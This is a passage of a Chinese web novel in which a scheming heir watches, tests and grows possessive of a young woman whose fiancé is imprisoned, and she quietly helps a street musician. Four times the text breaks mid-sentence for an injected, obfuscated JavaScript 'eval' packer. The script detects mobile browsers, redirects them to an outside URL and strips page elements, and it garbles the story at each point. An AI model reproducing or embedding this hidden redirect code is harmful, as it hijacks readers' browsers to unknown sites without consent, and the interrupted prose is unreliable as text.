这种被物化,被置于一个需要被关怀的弱势位置的感觉,让容璟浑身不自在。他才是那个掌控者,是施与的一方,何时轮到她来同情和照顾他? 可偏偏,那汤羹的味道确实合他口味,那熨帖的暖意也确实丝丝缕缕地渗入他常年冰凉的四肢百骸。这种身体上的舒适与他精神上的排斥形成了尖锐的矛盾,让他有种分裂般的错觉。 他的拒绝,他的冷硬,仿佛都撞在了一团柔软而坚韧的棉花上,被无声地化解,吸收。 姜于归没有正面冲击他的防线,而是用一种他完全陌生的方式,悄无声息地靠近,让他蓄满力的一拳无处着落。 这种失控感,比单纯的等待,更让他心烦意乱。 在姜于归连续送了七天药膳后,容璟在连接书房与客院的回廊上偶遇了正捧着新食盒走来的她。 “世子。” 姜于归见到他,脚步一顿,垂下头,恭敬地行礼。 容璟的目光落在那个熟悉的食盒上,语气平淡无波,听不出情绪:“姜姑娘近日,似乎对药膳颇有心得。” 姜于归抬起头,脸上露出一丝恰到好处的,带着点不好意思的浅笑:“只是懂些皮毛,世子帮了我这么多,我无以为报,听说世子冬日偶有不适,就想着......或许能帮上一点小忙。” 她顿了顿,声音轻了些:“希望没有打扰到世子。” 她的笑容干净,眼神清澈得像山涧溪流,里面只有纯粹的感激和想要回报的心意,找不到一丝一毫他预想中的算计与贪婪。 容璟定定地看着她,试图从那双过于明亮的眼睛里找出哪怕一丝伪装的痕迹。 没有。 至少,以他浸淫权谋,看惯人心鬼蜮的眼力,此刻看不出任何破绽。 难道......她真的只是单纯地想谢谢他? 这个认知像一根细小的针,猝不及防地刺了他一下,一股无名火隐隐窜起。 他宁愿她是别有所图,那样他就可以毫不犹豫地,带着优越感地将她推开,甚至踩在脚下,享受掌控一切的快感。 可姜于归偏偏不是。 这种纯粹的,不掺杂任何利益的善意,像一道过于强烈的光,直直地照进他常年幽暗的心底,照得他那些基于利益权衡的揣测无所遁形,甚至让他产生了一种近乎狼狈的局促。 他习惯了在黑暗中算计,习惯了用价值和交换来衡量一切。 姜于归的行为,像一本他从未读过的书,完全超出了他的认知范畴,让他一时不知该如何应对。 这种认知上的挫败感,让他心头火起。 短暂的沉默在回廊中弥漫,带着一种无形的压力。姜于归脸上的笑容渐渐有些维持不住,眼神中透出一丝不安。 半晌,容璟才缓缓开口,声音里带着一种连他自己都未曾察觉的,强压下去的复杂情绪:“慕容二老那边......后日午后,长青会过去送年礼,你......跟着去吧。” 他看到她眼中瞬间迸发出的,难以置信的惊喜,那光芒如此炽烈,几乎要灼伤他的眼睛。 容璟几乎是立刻补充道,语气恢复了惯有的冷静与疏离,像是在为自己的心软寻找一个合理的借口:“记住!莫要久留,更不可提及狱中之事,徒惹伤心。” “是!多谢世子!于归明白!定不会给世子添乱!”她连连点头,声音因激动而带着哽咽,抱着食盒,像是抱着什么绝世珍宝。 看着她毫不掩饰的,因他一点点微不足道的施舍而感激涕零的模样,容璟心底那点因失控和意外而产生的烦躁,终于被一种熟悉的,微妙的满足感所取代。 看,他终究还是掌控着一切,他能轻易地给予她渴望的东西,也能随时收回。他依旧是那个高高在上的施与者。 至于那点异样......或许只是他多心了。 姜于归再特别,也不过是他掌心的一只雀鸟,飞不出他的掌控。 他淡淡地嗯了一声,不再多言,转身离开。 走出几步,他鬼使神差地回头,看见姜于归还站在原地,抱着食盒,望着他离开的方向,脸上是灿烂得几乎能融化这冬日冰雪的笑容,纯粹而明亮。 容璟迅速回过头,加快了脚步,仿佛要甩掉那过于刺眼的画面。 他答应她,并非因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868604|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那盅汤,而是因为他需要证明,他依旧能从容地操控她的喜怒哀乐。 他享受这种将她置于掌心,看着她因自己一点点意愿而或悲或喜的模样。 更重要的是,他要让姜于归深信不疑,她所有的努力和用心,在他这里,都是有用的。 唯有如此,她才会继续按照他设定的路径走下去,他才能更好地......观察她,剖析她。 抚了抚并无不适的心口,容璟眼底掠过一丝冰冷的讥诮。 这游戏,似乎比他预想的,还要有趣一些。他倒要看看,在她达成探望二老这个阶段性目标后,接下来又会使出什么手段。 姜于归从慕容府回来,她的心像是被浸泡在温水和酸醋里,五味杂陈。 看到林晏祖父母强撑精神的哀恸,她心如刀割,更加坚定了要等待林晏沉冤得雪的决心。但同时,容璟世子允她前去探望的这份恩情,也沉甸甸地压在她心头。 她很清楚,容璟或许并不缺她这一口吃食,他的库房里什么珍稀药材没有?但她不能不做。她不想,也不愿让容璟觉得,她之前的殷勤只是为了利用他,目的达成便弃如敝履。 那份药膳,是她目前唯一能拿得出手的,表达纯粹谢意的方式。 于是,从慕容府回来的第二天,姜于归依旧出现在了小厨房,甚至比往日更早。 她细心挑选了药材,耐心守着炉火,仿佛将那份无言的感激与承诺,都细细地炖进了那盅汤里。 当长青再次将炖品端到容璟书案上时,容璟执笔的手微微一顿。 他抬眸,目光掠过那熟悉的瓷盅,语气听不出喜怒:“她今日......又去了厨房?” 长青垂首回道:“是,姜姑娘说,昨日选的药材性温,今日换了方子,更重固本培元,适合世子冬日调理。” 容璟沉默了片刻,没有去动那汤盅,反而问道:“昨日她去慕容府,情形如何?” 他需要确认,她的感激在目的达成后,是否还如之前一般纯粹。 长青一五一十地回禀:“姜姑娘很是恭谨,只说是代世子和慕容公子前去问候,送了自制的软糯点心和一些安神的香囊。与慕容老夫人说了会儿话,多是宽慰之词,并未久留,也未提及任何关于案子的事,二老很是感激世子挂念,姜姑娘离开时......眼睛是红的。” 容璟指尖在光滑的桌面上轻轻一点。 和他预想的差不多。 悲伤,懂事,守礼。但这依然是她在他和慕容府这个特定情境下,表现出的样子。 他挥退了长青。书房内重归寂静,他的目光再次落在那盅汤上。 姜于归......没有停止。 在他给了她想要的甜头之后,她没有得意忘形,没有趁机提出新的,更过分的要求,反而......像是在履行一个无声的承诺。 这种感觉很陌生。 容璟习惯于交易,习惯于施恩图报,或是被畏惧地,小心翼翼地索取。姜于归这种行为,不在他熟悉的任何一种模式里。 一种莫名的,更深的烦躁升起。 12. 第 12 章 他讨厌这种无法归类,无法用现有经验解释的感觉。这让他觉得自己仿佛失去了对局面的精准把控。 几天后,容璟再次偶遇了从厨房回来的姜于归。 “慕容二老近日气色如何?”他状似随意地问起,目光却不着痕迹地落在她脸上。 姜于归见到他,依旧有些拘谨,但眼神清亮,回答得认真:“老夫人精神似乎好些了,能多说几句话。不过老大人依旧沉默,但......看着我做的点心,眼眶泛红......” 她的声音低了下去,带着一丝感同身受的难过,但很快又振作起来,仰头看着他,真诚地说:“多谢世子让我能去看望他们,于归......感激不尽。” 她的感激看起来真心实意,依旧没有顺势提出任何其他请求。 容璟看着她清澈见底的眼眸,忽然开口道:“年节将至,各部官员乃至皇室都忙于宴饮筹备,京畿卫戍也加强了巡防。那些盯着慕容府的眼线,倒是暂时松懈了不少。” 姜于归愣了一下,黑白分明的眼睛里闪过一丝茫然,似乎没明白他为何突然说起朝局和眼线。 容璟面色依旧温和,语气平淡,仿佛只是在陈述一个客观事实:“所以,你若想去,往后可以让长青再带你去几次。毕竟,年节团圆,对二老也是个慰藉。” 他说这话时,目光平静地落在姜于归脸上,不放过她任何一丝细微的表情变化。 他给自己突如其来的慷慨找了一个完美的理由,外部环境暂时安全。而他真正的目的,是给姜于归制造一个相对宽松的测试环境。 他想看看,脱离了国公府和他在场的直接压力,获得了更多自由的姜于归,会是什么样子? 是会因为能更频繁地出入而放松警惕,露出得意? 还是会因为牵挂林晏而忧心忡忡,甚至......在府外寻找其他可能帮助林晏的门路? 他需要更多的样本来解析她。 姜于归眼中瞬间迸发出巨大的惊喜,但那惊喜之后,迅速掠过一抹真实的担忧:“可是这样......会不会还是太冒险,连累世子?” 姜于归首先考虑的,竟然是他的安危。 容璟心底嗤笑一声,真是会说话。 他淡淡道:“长青会安排好,你只需记住,谨言慎行。” “是!于归定不会给世子添乱!” 她用力点头,脸上的喜悦终于掩藏不住,像温暖的阳光终于冲破厚重的云层,瞬间照亮了她整个人。 容璟微微颔首,不再多言,转身离开。心底却冷嗤:看,终究还是为了林晏。他倒要看看,这份活泼与谨慎,在府外会如何演绎。 于是,长青又带着姜于归去了两次慕容府,而每一次回来,姜于归对待容璟的态度似乎都更松弛了一分,那药膳从未间断,甚至有一次,她还附上了一张小小的字条,用工整却不失风骨的小楷写着食材的性味与功效,贴心地将可能带药味的药材做了标注,问他是否需要调整。 姜于归似乎真的在很认真地,把他当成一个需要调理身体的恩人来关心。 容璟看着那字条,眉头微蹙。 她的字确实很好看,清秀中透着一股不易折的韧劲。 能有这般书法功底,可见是下过苦功夫的,能辨出字迹不同,也说得过去。 思及此,容璟脑中不受控制地想起曾经林晏托他代笔的书信,让他安抚可能因为收不到信而陷入伤心失落的姜于归。 那时他觉得林晏可笑又天真。 此刻,对比姜于归如今对他这份细心又保持距离的关怀,一种莫名的,冰刺般的烦躁感,再次毫无预兆地窜上心头。 他抬手,有些粗暴地打开手边抽屉,露出一点缝隙。 透过那缝隙,能清晰地看见里面厚厚一摞信封,最上面一封,写着“清溪镇长福街十里香酒肆姜于归亲启”。 那是林晏入狱前,郑重交托给他的。 林晏说,这些是他与姜于归来往的全部书信,放在慕容府恐被搜查之人发现,连累于她。于是请容璟代为保管,待他出狱之日,再原物奉还。 当时容璟只觉得林晏优柔寡断,身陷囹圄还惦念这些儿女情长的无用之物。 此刻,看着那熟悉的字迹和地址,再对比姜于归如今对他这份看似纯粹,实则可能同样给予过林晏的关怀......一种说不清道不明的郁气堵在胸口。 姜于归对他这点微不足道的,或许只是出于报恩的关心,与那些厚厚的,承载着数月情谊和亲密过往的书信相比,又算得了什么? 而姜于归对他越好,越显得纯粹,就越发衬得他当初那些以利益为核心的,卑劣的揣测,是如此不堪。 这种认知让他极度不适。 他需要做点什么,来打破这种逐渐失控的局面,重新确认自己的主导地位,并将这令他烦躁的纯粹撕开一道口子。 翌日,当姜于归再次送来温补的汤品时,容璟状似无意地开口,语气平淡得像是在讨论天气:“听说慕容二老的气色看着比前些日子好了不少,府医也说需常有人宽慰。这些时日若你想再去,不必次次都等着长青得空,让门房给你备辆小车,自己去便是。” 他将她的自由又放宽了一寸,像一个耐心的猎手,撒下更多的饵料,等待着猎物露出更多的破绽。 姜于归闻言,眼中瞬间迸发出比之前任何一次都要明亮,纯粹的惊喜光芒。 “真的吗?多谢世子!”她几乎是雀跃着道谢,那笑容毫无阴霾,不掺杂一丝杂质。 容璟微微颔首,不再多言。 看着姜于归满心欢喜,毫不设防的脸,他心底那点因施舍而带来的掌控感,却并未如预期般强烈。 一丝疑虑悄然浮现。 放姜于归独自出去,他是否会看到更多......不属于他掌控范围内的,更真实的她? 这究竟是他在测试她,还是给了她脱离他视线,展露另一面的机会? 这种不确定感,让他刚刚平复些许的烦躁,又隐隐有回升的趋势。 得到了容璟的允准,姜于归感觉身上无形的枷锁似乎又松动了一些。 不过姜于归婉拒了府中安排马车的提议, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868605|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声道:“多谢世子好意,不过我想自己走走,也多熟悉熟悉盛京的街道路况。” 姜于归说这话时,眼里亮晶晶的,脸上带着一点对未来的憧憬。 她没说出口的是,或许将来,等林晏出来,一切尘埃落定,她也能凭借这点厨艺,在盛京开一家大些的食肆呢?现在先看看街边的店铺,熟悉环境,总是好的。 这等小事,容璟听闻后,只淡淡应了一声,并未放在心上。他乐于见她活跃起来,唯有活动,才会留下更多可供观察的痕迹。 这日,姜于归从慕容府出来,并未直接回国公府。她信步走在熙熙攘攘的上京街头,年节的气氛已经愈发浓郁。 虽然天色渐暗,但街边店铺早已挂起了各式各样的灯笼,暖光融融,映照着行人带笑的脸。 偶尔有孩童提着一盏小兔儿灯或金鱼灯,嬉笑追逐着从她身边跑过,带起一阵欢快的风。空气中弥漫着炒栗子,糖瓜和刚出炉的糕点的甜香,这里充满了烟火人间的鲜活气息。 姜于归深呼吸一口气,好像要将这鲜活与热闹全都吸进肺里,以此驱散盘踞在胸中的郁闷。 她好奇地打量着两旁的店铺,观察着客流和售卖的物品,心中默默盘算。 这本该是她应有的样子,明媚,鲜活,对世间万物充满好奇,依靠自己的双手开创生活。 然而,这欢欣只持续了短短一瞬。 她想到了什么,眼底的光芒黯淡下去,心底涌起一抹难以言喻的酸楚。 “盛京的年节很热闹,那里的花灯比清溪镇的更好看,你一定会喜欢的。” 在清溪镇,林晏约她游七夕灯会时,曾带着笑意这样承诺,还说年底之前会回去找她,然后带她游遍盛京的花灯。 结果后来她来了,林晏却入了狱。 他说的没错,上京的灯火确实很好看,璀璨如星河,人间烟火气十足。 可是眼下,满城灯火将明,那个许诺要陪她看尽繁华的人,却身陷囹圄,不见天日。这满街的喜庆和温暖,在姜于归的眼中,不由自主地蒙上了一层淡淡的遗憾和忧伤。 才欢喜不过片刻,她又低落下来,鞋尖无意识地磨蹭着地面,缓慢前行。 就在离荣国公府不远处,一个相对安静的街角,她听到几声略带滞涩的琵琶声。 “琮琮......琤......” 琵琶声断断续续,音色干涩,像是初春冰面碎裂的声响,在喧闹的背景下显得格外微弱而可怜。 姜于归忍不住循声走去,才发现弹奏的是一个约莫十一二岁的小姑娘。她裹着一件明显不合身的,打着补丁的旧棉袄,小脸冻得发红,嘴唇都有些发紫,但那双布满细小冻疮的手指,却还在笨拙而坚持地移动着。 因为年节,她弹的是一支大靖流传很广的欢快小调《贺新岁》,本是寓意吉祥喜庆,可却因为极不娴熟的指法和音准欠佳的琵琶,让本该欢快的调子也带上了几分磕绊的可怜。 街上行人匆匆,各自奔赴家的方向,繁华的盛京,无人为这低劣的演奏停留片刻。 但是姜于归却停下了脚步。 13. 第 13 章 她听着那不成调的,断续的琴音,像是有一双无形的手,轻轻拨开了她脑海中尘封的记忆。 姜于归想起很久很久以前,在另一个世界,她小时候也学过很多兴趣,而最后在坚持下来的是书法和琵琶。 她记得老师有时严厉的批评,指甲划过琴弦的刺耳声让她想哭,也记得偶尔得到认可时那句于归很有天赋带来的小小骄傲,更记得她自己一遍一遍,练习到指尖磨出水泡,结痂成茧的日夜...... 那些记忆遥远而又模糊,隔着时空的纱幔,却在此刻,和眼前这个在寒风中瑟瑟发抖,却依旧努力弹奏的小姑娘的身影,奇妙地重叠在了一起。 一股强烈的共情与心酸,涌上姜于归的心头。 她安静地站在不远处,成为了小姑娘第一个,也是唯一一个真正在倾听的听众。 或许是她的目光太专注,带着一种理解的温柔,以至于小姑娘越发紧张起来,手下连续错了好几个音,刺耳的杂音让她脸色涨得通红,眼眶里迅速蓄满了泪水,几乎快要哭出来了。 姜于归没有露出丝毫不耐或鄙夷,反而微笑着歪了歪头,听得更加认真,那神情,不像是在听街边劣质的卖艺,反倒像是在欣赏某场需要凝神静气的绝世演奏。 当最后一个音符几乎是狼狈的落下,空气中弥漫着尴尬的寂静,以及小姑娘压抑的抽泣声时,姜于归却抬起手,真诚的轻轻鼓起掌来。 “弹得真好!” 姜于归走上前,从荷包里摸出几个还带着体温的铜板,小心地放在小姑娘面前空荡荡的破碗里,她的声音微微上扬,带着几分刻意营造的,驱散寒意的愉悦:“弹得很认真呢!曲子也选得很热闹,听着就让人开心,觉得年节要到了。” 小姑娘彻底愣住了,仰着挂满泪珠的小脸,难以置信地看着姜于归。 她在这里弹了几天,收获的只有漠视,驱赶和偶尔的呵斥,从未有人夸过她,更无人为她鼓掌。 她哽咽着,声音细若蚊蚋:“我......我弹得不好......没有人听......” 姜于归蹲下身,与小姑娘平视,目光温柔而肯定,她伸手指了指那把旧的掉漆的琵琶:“不是你的问题!” 她的语气带着一种令人信服的力量:“是这把琵琶的音色不太准了,丝弦也老了,松了,所以你怎么弹,都差点儿味道!就像厨子有一把钝了的刀,再好的手艺也难施展。” 说罢,姜于归极其自然地伸出手,轻声问,带着十足的尊重:“可以给我看看吗?” 小姑娘懵懂地点点头,把琵琶递了过去。 姜于归接过那把沉旧不堪的琵琶,指尖轻轻拂过冰凉的琴弦,那动作带着一种久违的,刻入骨髓的熟稔。 她低头侧耳,仔细聆听着空弦的声音,秀美的眉头因专注而微微蹙起。 然后,她纤细却稳定的手指,开始小幅度地,耐心而精准地拨动琴轸,一点点调整着那早已松弛的丝弦。 在调整丝弦的间隙,她的指尖点过品柱上的几个位置,对小姑娘柔声指点:“小姑娘,你看,以后按压这里,还有这里的时候,手腕再沉下去半分,不要只用指尖的力气,试着借助手腕下沉的力道,音色就会清亮圆润许多,手指也不会那么疼了。” 她的动作流畅自然,语气里没有丝毫居高临下的施舍或教导,只有同为习艺者的理解,鼓励和分享。 说罢,姜于归还就着调整后的琵琶,信手拨弹了《贺新岁》开头的一小段旋律。 “铮铮淙淙——” 虽然琵琶品质低劣,但那几个音符在她指尖,竟真的变得清脆亮丽了许多,带着一股灵动的生气,与之前的滞涩判若云泥。 “你试试看?”姜于归笑着把琵琶递还给小姑娘,眼神里充满了鼓励。 小姑娘将信将疑地接过琵琶,笨拙地按照姜于归说的方法,尝试着按压琴弦,拨动。 果然,手指省力了不少,发出的声音也不再是之前那种干涩刺耳的噪音,变得顺耳了许多。 她惊喜地抬起头,看向姜于归的眼神里充满了感激和重新燃起的希望,仿佛在看一个降临凡间拯救她的仙女! “真的——真的好听了!”小姑娘破涕为笑,声音里带着哭过后的沙哑和浓浓的喜悦。 看到小姑娘脸上重新绽放的光彩和希望,姜于归顿时觉得,压在心头许久的,关于林晏,关于未来的巨石,好似都随之松动了几分。 原来,帮助他人,照亮他人,本身就是一种强大的,能够反哺自身的力量。 她站起身来,拍了拍手上沾染的灰尘,对着小姑娘露出一个灿烂又温暖的笑容:“街上很冷,早些回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868606|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!家里人该等着急了。” 说罢,不再停留,转身朝着荣国公府的方向走去。 寒风吹起她鬓边的碎发,她的背影在渐浓的夜色和零星亮起的灯火中,显得格外挺拔又充满生机。解决了小姑娘的难题,她的步履似乎也轻快了些许。 而姜于归不知道,在不远处的长街阴影里,静静地停着一辆毫不起眼的青帷马车。 车内,容璟身处昏暗的车厢,像一道蛰伏的,融入了夜色的影子。 他深邃的目光穿透微微掀开的车窗帘隙,将不远处街角发生的一切,从始至终,都清晰地尽收眼底! 他本是处理完事务回府,鬼使神差地绕到了这条路,却不想,竟看到了这样一出完全出乎他意料的情景剧。 容璟看着姜于归停下脚步,成为唯一的听众,看着她为那拙劣的演奏鼓掌,放下带着体温的铜板,看着她蹲下身,用那种他从未见过的,极其柔软耐心的姿态与那卑微的小女孩交流。 然后——他看着她,极其自然地接过了那把破旧不堪的琵琶! 她的手指拂过琴弦时那种熟稔,低头调音时那专注的侧影,信手拨出的那段虽短暂却韵味十足,远超那破琵琶本身品质的流畅旋律......以及,她对小姑娘那精准而专业的指点...... 这一切都昭示着一个不容置疑的事实。 姜于归会弹琵琶!而且绝非略懂皮毛,是个中高手! 这个认知,像是一道无声却极其耀眼的闪电,猝不及防地劈开了容璟沉寂多年的心湖,激起漫天波澜,搅动了他所有既有的判断。 一种极其微妙以及复杂难言的感觉,如同藤蔓般瞬间缠绕住容璟的心脏。 最先涌上的,竟然不是对林晏的嫉妒!此刻那是一种......领先一步的,扭曲的得意和一种被强烈吸引的震撼! 因为林晏和他提起过姜于归许多次,夸她聪慧,赞她坚韧,说她厨艺好,字写得有风骨,性子活泼又细腻......却从来没有,一次也没有,说过姜于归会弹琵琶!而且是有如此功底的琵琶! 一个念头如同毒蛇,倏地钻入他的脑海,带来一种冰凉的兴奋感。 林晏不提,绝不可能是觉得这不值一提或是忘了。 容璟几乎可以肯定,唯一的解释就是——林晏根本就不知道! 14. 第 14 章 那个被姜于归深深爱着,信任着,不惜千里迢迢来寻的慕容林晏,那个他一直在模仿,内心深处却又鄙夷其天真的挚友,竟然连她会弹琵琶这样的事,都不知道? 是姜于归——没有告诉过林晏? 这个结论带着冰凉的触感,开始在他心中反复盘旋,发酵,并开始剧烈地消磨,颠覆着他之前对姜于归爱慕虚荣,工于心计的固化判断。 如果姜于归真的那般工于心计,这样能彰显才情,增添风雅,极易获得文人雅士好感的技能,岂不正是她向上攀附,固宠的最佳手段之一?她怎么可能藏着掖着? 她不提?除非她所求更大!段位更高,懂得隐藏实力,放长线钓大鱼? 可是这个充满恶意的,属于他熟悉世界的猜测刚刚冒出来,就被他眼前亲眼所见的,姜于归那纯粹无比的眼神和自然流露的共情,强行按了下去。 不像! 容璟想起刚才姜于归看向那个小姑娘的眼神,那么纯粹,那么专注,充满了理解和悲悯,没有丝毫的算计与表演痕迹。 她的指点完全发自内心,不涉功利,那种瞬间流露出的,对技艺本身的尊重和热爱,以及对陌生弱者的善意,绝非一个心思深沉,精于伪装的女子能轻易表演出来的。 排除了后者,剩下的那种可能,让容璟自己都感到一阵意外的,陌生的......悸动。 或许,姜于归对林晏,并没有他想象中那般毫无保留,倾尽所有的爱。 她保留了她自己的一部分,一个重要的,属于她自己的,不为人知的角落。 那个角落,或许连林晏都未曾真正踏足。 再次联想到那日姜于归在狱中,哽咽着对林晏坦白,曾因字迹生疑,想过变卖玉佩,从此分开...... 一个因为爱而变得有些迟钝,没有察觉林晏真实身份,却也在某些方面保持着独立思考和判断,甚至......在情感上有所保留的,矛盾的,立体的女子形象,逐渐在容璟心中清晰起来。 可见......他们之间,也并非牢不可破!并非他之前想象的那样情比金坚,无懈可击! 这个念头一起,所带来的那种荒谬绝伦,却又无比强烈的胜利感,如同疯长的藤蔓,瞬间缠绕住容璟所有的思绪。 一种混合着我知道而你不知道的优越感,发现宝藏的兴奋感,以及一种难以言喻的吸引力的复杂情绪,在他胸腔里冲撞。 此时此刻,容璟一点儿都不再觉得姜于归爱慕虚荣或是愚蠢了。 相反,她身上这种矛盾的复杂性,她藏而不露的才华,她那份对陌生人的纯粹善意,都给他带来了一种前所未有的,隐秘而巨大的快感和探究欲。 慕容林晏拥有过姜于归的过去又如何?拥有她表面的爱意和信任又如何?林晏所知道的,或许只是那个在清溪镇,同样戴着某种社交面具的姜于归。 而他容璟,却在林晏都不知道的维度,发现了姜于归的另一面,一个闪烁着独特光芒的,更加真实的侧面。 这感觉,就像是在一个不为人知的角落里,他挖到了一个独属于他自己的,关于姜于归的秘密宝藏。这个宝藏与林晏无关,只与他容璟有关。 曾经那些因为姜于归不按预期行事而带给他的,让他感到失控和烦躁的情绪,在此刻,奇异地全部转化为了更加强烈,更加执拗的探究欲和一种隐隐的,连他自己都尚未明确意识的占有欲。 他对姜于归,越来越好奇了。好奇到......竟然有些无法将视线从她渐渐远去的,轻快的背影上移开。 直到那道身影消失在荣国公府的角门内,容璟才缓缓收回目光。车厢内一片黑暗,只有他略微急促的呼吸声,揭示着他内心并不平静。 “回府。”容璟低声吩咐,声音带着一丝不易察觉的沙哑,仿佛有什么东西堵在喉间。 回到府中,容璟没有立刻回到书房处理那些堆积的公务。 他屏退了随从,独自站在连接前院与客院的那道幽深回廊下,目光沉沉地,一瞬不瞬地投向姜于归客房的方向。 夜风很冷,吹动他月白锦袍的下摆,带来刺骨的寒意,他却浑然未觉,仿佛化作了回廊里一尊没有温度的石像。 那里窗户透着暖黄的烛光,在窗纸上映出她偶尔走动,收拾东西的纤细剪影。 那影子每一个微小的晃动,都像一根无形的线,牵动着容璟晦暗不明的思绪。 直到那窗内的烛火“噗——”的一声熄灭,陷入一片彻底的黑暗,显示里面的主人已经安睡,他依旧在原地站了许久,周遭只有寒风穿过廊庑的呜咽声。 回到自己温暖如春的房间,炭火烧得极旺,驱散了满身寒气,却驱不散盘踞在他心头的躁动。 容璟屏退了所有下人,独自坐在宽大的书案后,指尖无意识地在冰凉光滑的紫檀木桌面上,有一下没一下地敲击着,发出沉闷而规律的微响,在这寂静的夜里显得格外清晰。 脑海中,不受控制地反复回放着姜于归调试琵琶时那专注的侧脸,低垂的,如同蝶翼般轻颤的睫毛,信手拨弦时那流畅而优雅的姿态,以及她离去时,那不同于在府中任何时候的,卸下所有负担般的轻快而富有生机的身影。 那是一种,他从未在荣国公府这座华丽牢笼里见过的,鲜活而恣意的生命力。 像一株顽强地从石缝中钻出的绿芽,与他周遭一切精心雕琢,却死气沉沉的事物格格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868607|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不入。 突然间,一个清晰无比,却又让他自己心惊的意识,如同冰水泼面,让他骤然从那种微醺般的回味中清醒过来。 他意识到,在这座由他一手掌控,处处充斥着无形规矩和压抑氛围的荣国公府里,他所能看到的姜于归,永远只是披着一层厚重铠甲的她。 谨慎的,戒备的,感激的,小心翼翼的......那是她为了生存,为了不给他添麻烦,更是为了远在狱中的林晏,而不得不佩戴的面具。 可是,容璟不想再看这铠甲了! 一个强烈而清晰的欲望在他心中破土而出,带着不容置疑的力道。 他想看铠甲之下,那个会在街头为陌生小姑娘驻足,会弹奏出不为人知的旋律,会露出纯粹灿烂笑容的,最真实,最本性的姜于归。 他甚至......想要她的那份本性,能够挣脱所有束缚,自由地,鲜活地,只在他眼前绽放。 这个想要的念头是如此清晰而强烈,带着赤裸裸的独占意味,让容璟自己都为之微微一震。 一种前所未有的,陌生的渴望,在他冰冷了二十年的心底,疯狂滋生。 但他随即抿紧了薄唇,眼底掠过一丝凌厉的自我审视和否认,将那点陌生的涟漪强行压了下去。 不,这不过是另一种形式的掌控欲罢了,容璟在心底冷嗤。 他只是无法容忍有超出他了解和掌控的存在,尤其是这个存在还与林晏有着千丝万缕的联系。 他想彻底揭开她的所有面具,看清她的所有秘密,然后将这一切......纳入他的版图。 这无关风月,只是一场针对林晏的,更高层次的较量,一种对未知领域的征服。 唯有如此解释,才能让他重新获得那种一切尽在掌握的安全感。 然而,行动,往往比思绪更诚实。 翌日清晨,当姜于归再次禀明要独自前往慕容府时,容璟正在书房练字。 他头也未抬,笔下沉稳,声音是一贯的温和:“路上小心,年节前后,京中人员繁杂,早些回来。” “是,多谢世子关心。”姜于归福身告退。 待姜于归的脚步声消失在院外,容璟才缓缓放下笔。 他走到窗边,看着那道纤细的身影穿过庭院,即将走出他的视线。 随后,容璟对着看似空无一人的庭院,淡声吩咐,如同自言自语,却带着不容置疑的威仪:“安排两个机灵的女卫,暗中保护着姜姑娘,非性命攸关,不必现身。我要她毫发无伤,也要知道她的一切动向。” “是!” 空气中传来极轻的应声,两道几乎与阴影融为一体的纤细身影,掠过墙角,旋即消失。 15. 第 15 章 容璟负手而立,目光依旧望着姜于归离开的方向。 他绝不能容忍姜于归在他眼皮子底下出事。 无论是被卷入什么麻烦,还是......被什么不长眼的人碰了。尤其她长得又漂亮,那份独自走在街上时不经意流露出的鲜活与明媚,难保不会引来觊觎。 这种强烈到近乎偏执的保护欲来得迅猛而陌生,让他自己都微微一怔。 他容璟何时会如此在意一个女子的安危? 几乎是立刻,他心底那套惯用于解释一切异常情绪的防御机制迅速启动。 并非担忧她的安危,而是一种强烈的领地意识在叫嚣。 这是他圈定的观察目标,是他正在解析的独有样本,岂容那些肮脏的杂碎染指? 是了!容璟对自己说,目光重新变得幽深而平静。 这个理由完美地说服了容璟自己,至于有几人敢问责荣国公府世子......这不重要。 重要的是,容璟绝不允许任何意外发生。 然而,意外,还是发生了。 姜于归从慕容府出来,心情比前几次更为沉重。 慕容老夫人拉着她的手又垂了不少泪,言语间对孙儿的担忧愈发深重,让姜于归的心也像是泡在了黄连水里。 她心事重重地走着,下意识地避开了主干道的喧嚣,想穿过一条较为僻静的巷子抄近路回府。 然而,就在巷子深处,她被三个明显喝了酒,眼神浑浊的混混拦住了去路。 